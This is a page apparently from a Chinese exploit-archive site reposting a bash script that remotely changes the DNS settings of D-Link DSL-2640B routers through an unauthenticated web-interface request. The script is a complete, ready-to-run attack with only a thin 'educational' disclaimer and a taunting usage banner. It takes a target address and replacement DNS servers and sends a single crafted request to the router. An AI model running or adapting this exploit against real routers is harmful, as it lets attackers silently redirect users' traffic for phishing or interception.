首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
D-Link DSL-2640B Remote DNS Changer
来源:vfocus.net 作者:cryptolulz666 发布时间:2017-03-24  
#!/bin/bash 
# 
# D-Link DSL-2640B Remote DNS Change Exploit 
# Description: 
# Different D-Link Routers are vulnerable to DNS change. 
# The vulnerability exist in the web interface, which is 
# accessible without authentication. 
# 
# Tested On Linux/ubuntu/Debian/All Other Linux 
# Compatible Core i86 
# Script Bash By Cryptolulz666 
# Use This For Educational Purphose 
if [[ $# -gt 3 || $# -lt 2 ]]; then 
    echo " D-Link DSL-2640B Remote DNS Change Exploit" 
    echo " ================================================================" 
    echo " Usage: ___FCKpd___0 <Target> <Preferred DNS> <Alternate DNS>" 
    echo " Example: ___FCKpd___0 192.168.1.1 8.8.8.8" 
    echo " Example: ___FCKpd___0 192.168.1.1 8.8.8.8 8.8.4.4" 
    echo "" 
    echo " Copyright none public " 
    echo " security sucks ass " 
    echo " this server is vuln and you are owned " 
    exit; 
fi 
GET=`which GET 2>/dev/null` 

if [ $? -ne 0 ]; then 
    echo " Error : libwww-perl not found =/" 
    exit; 
fi

GET "http://$1/ddnsmngr.cmd?action=apply&service=0&enbl=0&dnsPrimary=$2&dnsSecondary=$3&dnsDynamic=0&dnsRefresh=1&dns6Type=DHCP" 0&> /dev/null <&1

 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·OpenSSH On Cygwin SFTP Client
·Logsign Remote Command Injecti
·SysGauge 1.5.18 - SMTP Validat
·NETGEAR WNR2000v5 (Un)authenti
·SpyCamLizard 1.230 - Denial of
·VMware Host Guest Client Redir
·Disk Sorter Enterprise 9.5.12
·Nuxeo Platform 6.x / 7.x Shell
·dnaLIMS Admin Module Command E
·wifirxpower - Local Buffer Ove
·D-Link DGS-1510 - Multiple Vul
·Forticlient 5.2.3 Windows 10 x
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved